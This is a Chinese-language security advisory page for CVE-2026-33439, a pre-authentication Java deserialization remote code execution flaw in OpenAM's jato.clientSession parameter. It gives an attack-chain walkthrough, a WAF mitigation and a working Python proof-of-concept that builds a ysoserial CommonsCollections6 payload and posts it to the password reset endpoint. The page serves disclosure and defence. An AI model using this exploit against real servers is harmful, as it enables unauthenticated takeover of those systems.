IPBUF安全漏洞报告
English
CVE-2026-33439 CVSS 9.8 严重

CVE-2026-33439 OpenAM远程代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-33439
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenIdentityPlatform OpenAM

相关标签

RCE远程代码执行反序列化OpenAMJavaPre-authCVE-2026-33439

漏洞概述

OpenIdentityPlatform OpenAM是开源的访问管理解决方案。在16.0.6版本之前,该产品存在严重的预认证远程代码执行漏洞。漏洞源于对jato.clientSession HTTP参数的不安全Java反序列化处理。尽管此前已针对jato.pageSession参数实施了白名单缓解措施,但此次漏洞绕过了该限制。未经身份认证的攻击者可利用此漏洞,向包含jato:form标签的JATO ViewBean端点(如密码重置页面)发送特制的序列化Java对象,从而在服务器端执行任意命令。该漏洞CVSS评分高达9.8,对机密性、完整性和可用性均造成严重影响,建议用户尽快升级至安全版本。

技术细节

该漏洞核心在于OpenAM对JATO(Java Application Toolset)框架中特定参数的反序列化处理缺陷。具体而言,OpenAM使用WhitelistObjectInputStream来限制反序列化的类,以缓解CVE-2021-35464中涉及的jato.pageSession参数风险。然而,开发者疏忽了对jato.clientSession参数应用相同的严格过滤机制。攻击者可以利用Java反序列化漏洞的常见利用链(如CommonsCollections、CommonsBeanutils等),构造恶意的序列化对象。攻击过程无需用户交互,攻击者只需发送HTTP GET或POST请求至目标服务器的特定端点(例如密码重置页面),并将恶意载荷填充至jato.clientSession参数中。服务器在处理请求时,会反序列化该参数,导致恶意代码被执行。由于这是预认证漏洞,攻击者无需登录即可获取服务器最高权限,完全控制受影响系统。

攻击链分析

STEP 1
侦察与识别
攻击者识别出目标系统使用的是OpenIdentityPlatform OpenAM,且版本低于16.0.6。同时定位包含JATO ViewBean端点的页面,如密码重置页面。
STEP 2
构造恶意载荷
攻击者使用ysoserial等工具,选择合适的Java反序列化利用链(如CommonsCollections6),并构造能够执行系统命令的序列化Java对象。
STEP 3
发送攻击请求
攻击者向目标端点发送HTTP POST请求,将构造好的恶意序列化数据作为`jato.clientSession`参数的值进行传输。
STEP 4
反序列化与代码执行
服务器端接收到请求后,尝试对`jato.clientSession`参数进行反序列化操作。由于缺乏安全过滤,恶意对象被还原,触发任意代码执行。
STEP 5
建立控制
利用执行的命令(如反弹Shell),攻击者获取服务器权限,从而进行进一步的渗透操作,如窃取数据或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import subprocess import sys import urllib.parse # Target URL (Example) # Change this to the actual vulnerable endpoint (e.g., /openam/passwordReset) target_url = "http://target-openam-server/openam/passwordReset" # Command to execute on the target server cmd = "touch /tmp/pwned" # Common gadget chain for Java deserialization # Ensure ysoserial.jar is in the current directory or in PATH gadget_chain = "CommonsCollections6" print(f"[*] Generating payload using ysoserial for command: {cmd}") try: # Generate the serialized Java object payload # Command: java -jar ysoserial.jar <gadget> <command> proc = subprocess.Popen( ["java", "-jar", "ysoserial.jar", gadget_chain, cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE ) payload, err = proc.communicate() if err: print(f"[-] Error generating payload: {err.decode()}") sys.exit(1) except FileNotFoundError: print("[-] 'java' or 'ysoserial.jar' not found. Please install Java and download ysoserial.") sys.exit(1) print(f"[*] Payload generated (Length: {len(payload)} bytes)") # The vulnerability lies in the 'jato.clientSession' parameter # We send the serialized object as a POST parameter params = { "jato.clientSession": payload } # Headers might be needed depending on the server configuration headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Sending malicious request to {target_url}") try: response = requests.post(target_url, data=params, headers=headers, timeout=10) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.content)}") # Note: Successful RCE via deserialization often results in no HTTP response or a 500 error # Verify execution by checking the target server (e.g., checking if /tmp/pwned exists) print("[*] Exploit sent. Please verify command execution on the target server.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

影响范围

OpenIdentityPlatform OpenAM < 16.0.6

防御指南

临时缓解措施
如果无法立即升级,建议配置WAF规则以深度检测HTTP请求参数,特别是`jato.clientSession`参数,阻止包含Java序列化魔术头(如0xACED0005或0xaced0005)的数据包。同时,检查并禁用不必要的JATO相关页面功能,减少潜在的攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表